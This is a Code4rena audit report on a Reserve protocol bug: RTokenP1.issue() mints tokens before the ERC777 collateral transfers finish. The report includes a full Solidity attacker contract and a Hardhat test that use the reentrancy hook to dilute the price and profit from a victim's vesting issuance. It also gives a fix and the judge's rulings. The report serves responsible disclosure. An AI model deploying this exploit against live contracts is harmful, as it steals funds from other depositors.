Platform: Code4rena
Start Date: 06/01/2023
Pot Size: $210,500 USDC
Total HM: 27
Participants: 73
Period: 14 days
Judge: 0xean
Total Solo HM: 18
Id: 203
League: ETH
Rank: 28/73
Findings: 1
Award: $917.62
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: unforgiven
Also found by: hihen, unforgiven, ustas
917.6195 USDC - $917.62
The RTokenP1
contract, which at the end of RTokenP1.issue()
transfers funds erc20.safeTransferFrom()
from the user's wallet to BackingManagerP1
, is vulnerable.
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L270-L276
Provided one of the tokens in BasketHandlerP1.basket
has a custom hook on sending funds (like ERC777), it is possible to use RToken
before actually transferring the funds.
This allows an attacker to:
RToken
in flash loanmulDiv256(basketsNeeded, amtRToken, totalSupply())
) of the RToken
for all system membersRTokenP1.liability
The essence of the problem is that this code in RTokenP1
:
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L268-L276
_mint(recipient, amtRToken); for (uint256 i = 0; i < erc20s.length; ++i) { IERC20Upgradeable(erc20s[i]).safeTransferFrom( issuer, address(backingManager), deposits[i] ); }
Is equal:
_mint(recipient, amtRToken); IERC20Upgradeable(erc20s[0]).safeTransferFrom( issuer, address(backingManager), deposits[0] ); IERC20Upgradeable(erc20s[1]).safeTransferFrom( issuer, address(backingManager), deposits[1] ); ...
Provided one of the erc20s[]
has any call to the issuer's wallet or contract, we may not wait for all the subsequent erc20.safeTransferFrom()
execution and start using the tokens that were issued to us in _mint(recipient, amtRToken)
.
This, in turn, creates an undercollaterization problem because RTokenP1.issue()
has increased RTokenP1.basketsNeeded
, but BackingManagerP1
does not contain enough funds for them.
Accordingly, we can call BackingManagerP1.manageTokens()
, thereby lowering the RTokenP1.basketsNeeded
variable while leaving RTokenP1.totalSupply()
the same.
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L83-L87
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L248-L251
As a result, by calling RTokenP1.issue()
again, we will buy RToken
at a more favorable price relative to previous protocol participants, lowering its price forever. By itself, this action is unprofitable since at the first RTokenP1.issue()
the issued tokens were bought at the old price and can only be sold at the new price, which is lower.
But, if we lower the price when some funds are in RTokenP1.liability
, we can buy tokens at the new price but make the victims from RTokenP1.liability
pay the old price by making RTokenP1.vest()
in the same transaction after our second RTokenP1.issue()
. This will raise the price at a loss to the victims, and we can produce RTokenP1.redeem()
at a favorable price.
Here is a possible implementation of the attacker's contract:
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts/utils/introspection/ERC1820Implementer.sol"; import "../../p1/RToken.sol"; import "../../p1/BackingManager.sol"; import "hardhat/console.sol"; contract SandwichVestAttack { using Strings for uint256; enum Phase { First, Second } Phase phase = Phase.First; RTokenP1 public rToken; BackingManagerP1 public bm; IERC20[] public tokens; uint256 amountWDiscount; constructor( RTokenP1 _rToken, BackingManagerP1 _bm, IERC1820Registry registry, IERC20[] memory _tokens ) { rToken = _rToken; bm = _bm; tokens = _tokens; registry.setInterfaceImplementer( address(this), keccak256("ERC777TokensSender"), address(this) ); } function attack( uint256 amount, uint256 _amountWithDiscount, address victim, uint256 endId ) external { require(rToken.totalSupply() != 0, "Unable to manipulate the price"); uint256[] memory balances = new uint256[](tokens.length); console.log("Initial balances:"); logBalances(); amountWDiscount = _amountWithDiscount; approveAll(address(rToken), type(uint256).max); issue(amount); vest(victim, endId); redeem(rToken.balanceOf(address(this))); phase = Phase.First; console.log("End balances:"); logBalances(); } function tokensToSend( address, address, address, uint256, bytes memory, bytes memory ) external { console.log("Hook tokensToSend"); if (phase == Phase.First) { phase = Phase.Second; compromiseBasketsNeeded(); issue(amountWDiscount); } } function approveAll(address to, uint256 amount) internal { for (uint256 i = 0; i < tokens.length; ++i) { tokens[i].approve(to, amount); } console.log("Approval is done!"); console.log(""); } function issue(uint256 amount) internal { console.log("Issue processing..."); logStrUint("Amount: ", amount); logStrUint("Done! Instantly issued: ", rToken.issue(address(this), amount)); console.log(""); } function compromiseBasketsNeeded() internal { console.log("Compromising baskets number... "); logStrUint("basketsNeeded before: ", uint256(rToken.basketsNeeded())); bm.manageTokens(new IERC20[](0)); logStrUint("basketsNeeded after: ", uint256(rToken.basketsNeeded())); console.log(""); } function vest(address account, uint256 endId) public { console.log("Vest processing..."); logStrUint("endId: ", endId); console.log("Account:"); console.log(account); rToken.vest(account, endId); console.log("Done!"); console.log(""); } function redeem(uint256 amount) public { console.log("Redeem processing..."); logStrUint("Amount: ", amount); rToken.redeem(amount); console.log("Done!"); } function logStrUint(string memory str, uint256 u) internal view { console.log(string(abi.encodePacked(str, u.toString()))); } function logBalances() internal view { logStrUint("Balance of rToken: ", rToken.balanceOf(address(this))); for (uint256 i = 0; i < tokens.length; ++i) { logStrUint("Balance of token ", tokens[i].balanceOf(address(this))); } console.log(""); } }
As well as a Hardhat test:
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers' import { expect } from 'chai' import { BigNumber, ContractFactory, Wallet } from 'ethers' import { ethers, waffle } from 'hardhat' import { bn, fp } from '../common/numbers' import { ATokenFiatCollateral, CTokenFiatCollateral, CTokenMock, ERC20Mock, IAssetRegistry, IBasketHandler, StaticATokenMock, TestIBackingManager, TestIRToken, USDCMock, ERC1820Registry, SandwichVestAttack, ERC777Mock, MockV3Aggregator, FiatCollateral } from '../typechain' import { advanceBlocks, } from './utils/time' import { Collateral, defaultFixture, IMPLEMENTATION, ORACLE_ERROR, ORACLE_TIMEOUT, PRICE_TIMEOUT, } from './fixtures' const createFixtureLoader = waffle.createFixtureLoader const makeVanilla777Collateral = async (symbol: string, erc1820registry: string): Promise<Collateral> => { const FiatCollateralFactory: ContractFactory = await ethers.getContractFactory('FiatCollateral') const MockV3AggregatorFactory: ContractFactory = await ethers.getContractFactory( 'MockV3Aggregator' ) const ERC777MockFactory = await ethers.getContractFactory('ERC777Mock') const erc777: ERC777Mock = <ERC777Mock>await ERC777MockFactory.deploy(symbol + ' Token', symbol, erc1820registry) const chainlinkFeed: MockV3Aggregator = <MockV3Aggregator>( await MockV3AggregatorFactory.deploy(8, bn('1e8')) ) const coll = <FiatCollateral>await FiatCollateralFactory.deploy({ priceTimeout: PRICE_TIMEOUT, chainlinkFeed: chainlinkFeed.address, oracleError: ORACLE_ERROR, erc20: erc777.address, maxTradeVolume: fp('1e6'), oracleTimeout: ORACLE_TIMEOUT, targetName: ethers.utils.formatBytes32String('USD'), defaultThreshold: fp('0.05'), delayUntilDefault: bn('86400'), }) await coll.refresh() return coll } describe(`RTokenP${IMPLEMENTATION} contract`, () => { let owner: SignerWithAddress let addr1: SignerWithAddress let addr2: SignerWithAddress let other: SignerWithAddress // Tokens and Assets let initialBal: BigNumber let token0: ERC777Mock let token1: ERC20Mock let token2: USDCMock let token3: StaticATokenMock let token4: CTokenMock let tokens: ERC20Mock[] let collateral0: Collateral let collateral1: Collateral let collateral2: Collateral let collateral3: ATokenFiatCollateral let collateral4: CTokenFiatCollateral let basket: Collateral[] //erc1820 let erc1820registry: ERC1820Registry // Main let assetRegistry: IAssetRegistry let rToken: TestIRToken let backingManager: TestIBackingManager let basketHandler: IBasketHandler let loadFixture: ReturnType<typeof createFixtureLoader> let wallet: Wallet before('create fixture loader', async () => { ;[wallet] = (await ethers.getSigners()) as unknown as Wallet[] loadFixture = createFixtureLoader([wallet]) }) beforeEach(async () => { [owner, addr1, addr2, other] = await ethers.getSigners(); // Deploy fixture ({ assetRegistry, backingManager, basket, basketHandler, rToken, } = await loadFixture(defaultFixture)) // Deploy ERC1820Registry const ERC1820RegistryFactory = await ethers.getContractFactory('ERC1820Registry') erc1820registry = <ERC1820Registry>await ERC1820RegistryFactory.deploy() // Get assets and tokens collateral0 = await makeVanilla777Collateral('ERC777', erc1820registry.address) collateral1 = <Collateral>basket[0] collateral2 = <Collateral>basket[1] collateral3 = <ATokenFiatCollateral>basket[2] collateral4 = <CTokenFiatCollateral>basket[3] token0 = <ERC777Mock>await ethers.getContractAt('ERC777Mock', await collateral0.erc20()) token1 = <ERC20Mock>await ethers.getContractAt('ERC20Mock', await collateral1.erc20()) token2 = <USDCMock>await ethers.getContractAt('USDCMock', await collateral2.erc20()) token3 = <StaticATokenMock>( await ethers.getContractAt('StaticATokenMock', await collateral3.erc20()) ) token4 = <CTokenMock>await ethers.getContractAt('CTokenMock', await collateral4.erc20()) tokens = [token0, token1, token2, token3, token4] // Register ERC777 as an asset await assetRegistry.connect(owner).register(collateral0.address) // Include ERC777 to the basket await basketHandler.connect(owner).setPrimeBasket( [token0.address, token1.address, token2.address, token3.address, token4.address], [fp('0.2'), fp('0.2'), fp('0.2'), fp('0.2'), fp('0.2')] ) await basketHandler.connect(owner).refreshBasket() await backingManager.grantRTokenAllowance(token0.address) // Mint initial balances initialBal = bn('40000e18') await Promise.all( tokens.map((t) => Promise.all([ t.connect(owner).mint(addr1.address, initialBal), t.connect(owner).mint(addr2.address, initialBal), ]) ) ) }) describe('Attack', function () { it('Vest sandwich', async function () { // Deploy attacker contract const SandwichVestAttackFactory = await ethers.getContractFactory('SandwichVestAttack') const sandwich: SandwichVestAttack = <SandwichVestAttack>await SandwichVestAttackFactory.deploy(rToken.address, backingManager.address, erc1820registry.address, [ token0.address, token1.address, token2.address, token3.address, token4.address, ]) // Mint initial balance of tokens for the attacker contract token0.connect(owner).mint(sandwich.address, '700000000000000000000') token1.connect(owner).mint(sandwich.address, '700000000000000000000') token2.connect(owner).mint(sandwich.address, '700000000') token3.connect(owner).mint(sandwich.address, '700000000000000000000') token4.connect(owner).mint(sandwich.address, '3500000000000') // Provide approvals for victims await Promise.all(tokens.map((t) => t.connect(addr1).approve(rToken.address, initialBal))) await Promise.all(tokens.map((t) => t.connect(addr2).approve(rToken.address, initialBal))) // Issue some initial rTokens await expect(rToken.connect(addr1)['issue(uint256)'](ethers.utils.parseEther('1000'))).to.emit( rToken, 'Issuance' ) // Start slow issuance await expect(rToken.connect(addr2)['issue(uint256)'](ethers.utils.parseEther('100000'))).to.emit( rToken, 'IssuanceStarted' ) // Wait until the issuance will be ready await advanceBlocks(9) // Start the attack await sandwich.connect(other).attack(ethers.utils.parseEther('1000'), ethers.utils.parseEther('5000'), addr2.address, 1) // Slow issuance has been processed expect(await rToken.balanceOf(addr2.address)).to.eq(ethers.utils.parseEther('100000')) // Balances of the attacker are higher now, and the profit is equal to 65% expect(await token0.balanceOf(sandwich.address)).to.eq('1160747663551401869158') expect(await token1.balanceOf(sandwich.address)).to.eq('1160747663551401869158') expect(await token2.balanceOf(sandwich.address)).to.eq('1160747663') expect(await token3.balanceOf(sandwich.address)).to.eq('1160747663551401869158') expect(await token4.balanceOf(sandwich.address)).to.eq('5803738317757') }) }) })
Auxiliary contracts that were used to test this vulnerability: https://github.com/ustas-eth/files/blob/6dbe878f53b3fce2c1d32ecab0187ac79c8245ff/ERC1820Mock.sol https://github.com/ustas-eth/files/blob/6dbe878f53b3fce2c1d32ecab0187ac79c8245ff/ERC777Mock.sol
Manual review, VSCodium, Hardhat
Issue new tokens _mint()
and write the correct amount of RTokenP1.basketsNeeded
in the RTokenP1.issue()
function only after all funds have been actually transferred to BackingManagerP1
.
#0 - c4-judge
2023-01-23T17:47:28Z
0xean marked the issue as duplicate of #318
#1 - c4-judge
2023-01-23T17:47:35Z
0xean marked the issue as satisfactory
#2 - c4-judge
2023-01-23T17:49:53Z
0xean changed the severity to 2 (Med Risk)